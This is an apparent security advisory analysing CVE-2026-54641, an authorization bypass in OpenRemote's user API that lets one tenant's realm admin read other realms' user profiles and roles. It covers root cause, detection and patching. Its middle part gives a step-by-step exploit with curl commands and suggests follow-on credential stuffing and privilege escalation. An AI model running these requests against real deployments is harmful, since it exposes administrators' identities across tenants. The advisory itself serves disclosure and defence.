CVE-2026-54641: 
Java vulnerability analysis and mitigation

CVE-2026-54641 is a Cross-Realm User Information Disclosure vulnerability in OpenRemote's UserResourceImpl that allows a realm admin of one tenant to read user profiles, client roles, and realm roles of users in any other realm, including the privileged master realm. It affects io.openremote:openremote-manager versions prior to 1.24.2. The vulnerability was published on June 12, 2026, and added to the GitHub Advisory Database on July 6, 2026. It carries a CVSS v3.1 base score of 7.7 (High) (GitHub Advisory, OpenRemote Advisory).

The root cause is CWE-639 (Authorization Bypass Through User-Controlled Key): three read methods in manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java — get (line 102), getUserClientRoles (line 294), and getUserRealmRoles (line 313) — verify that the caller holds the read:admin role but never validate that the target userId belongs to the caller's own realm. The realm path parameter is accepted but ignored; getUser(userId) ultimately calls getUserByIdFromDb(persistenceService, userId), which queries the database by UUID with no realm filter. By contrast, all write-side methods in the same class correctly invoke throwIfCannotAdminRealm(realm), which calls authContext.isRealmAccessibleByUser(realm) — a guard that was never applied to the read paths. Exploitation requires only a valid bearer token for a tenant realm admin account and a known UUID of a target user in another realm (GitHub Advisory, OpenRemote Advisory).

A successful exploit breaks tenant isolation on multi-tenant OpenRemote deployments: any non-master realm admin can enumerate user accounts (usernames, email addresses, enabled/disabled status, creation timestamps) and retrieve the full set of Keycloak client and realm roles for any user in any realm, including the master realm administrator. This exposes privileged account identities and role assignments that can directly facilitate targeted credential stuffing, social engineering, or privilege escalation via the previously documented write-path vulnerability (GHSA-49vv-25qx-mg44). There is no integrity or availability impact, but the confidentiality breach spans across tenant boundaries, making it particularly severe in shared or hosted deployments (GitHub Advisory, OpenRemote Advisory).

A public proof-of-concept with step-by-step curl commands is included in the GitHub Security Advisory, demonstrating successful HTTP 200 responses when a tenant-B admin token is used to read master-realm user data. The CVE status is currently "Reserved" and no in-the-wild exploitation or threat actor attribution has been reported. The vulnerability is not listed in the CISA KEV catalog. No EPSS score is currently available. Exploitation requires low privileges (a valid realm admin account in any non-master tenant) and no user interaction (GitHub Advisory, OpenRemote Advisory).

1. Prerequisite: Obtain or control a realm admin account (with read:admin role) in any non-master tenant realm (e.g., tenantb) on a multi-tenant OpenRemote deployment running a version prior to 1.24.2.
2. Discover target UUID: Identify a valid user UUID from another realm (e.g., the master realm). UUIDs may be discoverable from audit logs, API responses, or provisioning records accessible to the tenant admin.
3. Obtain access token: Authenticate as the tenant admin to retrieve a bearer token:

TENANTB_TOKEN=$(curl -s -X POST \
  "https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \
  -d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

4. Read cross-realm user profile: Use the tenant token to query a user in the master realm:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
  "https://<host>/api/tenantb/user/master/<target-uuid>"

5. Read cross-realm realm roles: Retrieve the target user's realm roles:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
  "https://<host>/api/tenantb/user/master/userRealmRoles/<target-uuid>"

6. Read cross-realm client roles: Retrieve the target user's client roles:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
  "https://<host>/api/tenantb/user/master/userRoles/<target-uuid>/openremote"

7. Leverage gathered intelligence: Use the exposed admin account identities, role assignments, and email addresses to plan targeted attacks such as credential stuffing, social engineering, or chaining with write-path privilege escalation vulnerabilities (GitHub Advisory, OpenRemote Advisory).

• Network: Unexpected HTTP GET requests from a tenant-scoped session to user API endpoints referencing a different realm in the path (e.g., /api/tenantb/user/master/<uuid>, /api/tenantb/user/master/userRealmRoles/<uuid>, /api/tenantb/user/master/userRoles/<uuid>/openremote); HTTP 200 responses to such cross-realm requests on unpatched instances.
• Logs: OpenRemote access logs showing a tenant realm admin token (JWT iss claim pointing to a non-master realm) successfully accessing user endpoints scoped to a different realm; repeated UUID-based lookups across multiple realms from the same session.
• Behavioral: A non-master realm admin account making an unusually high volume of user profile or role enumeration requests, particularly targeting UUIDs not belonging to their own realm.

Upgrade io.openremote:openremote-manager to version 1.24.2 or later, which introduces the throwIfCannotReadUserInRealm(realm, userId) guard to the get, getUserClientRoles, getUserRealmRoles, and getUserSessions methods, mirroring the realm boundary enforcement already present on write paths (Patch Commit). No configuration-based workaround is available for unpatched versions; the only remediation is upgrading to the patched release. As an interim measure on shared deployments, consider restricting network-level access to the user management REST API endpoints to trusted administrative networks only (GitHub Advisory).

The vulnerability was reported by security researcher geo-chen and published by OpenRemote maintainer ebariaux on June 12, 2026. The advisory notes a related prior vulnerability (GHSA-49vv-25qx-mg44) that patched the write path in April 2026, highlighting a pattern of incomplete security fixes in the same class. No significant broader media coverage or social media discussion has been identified beyond the GitHub advisory (OpenRemote Advisory).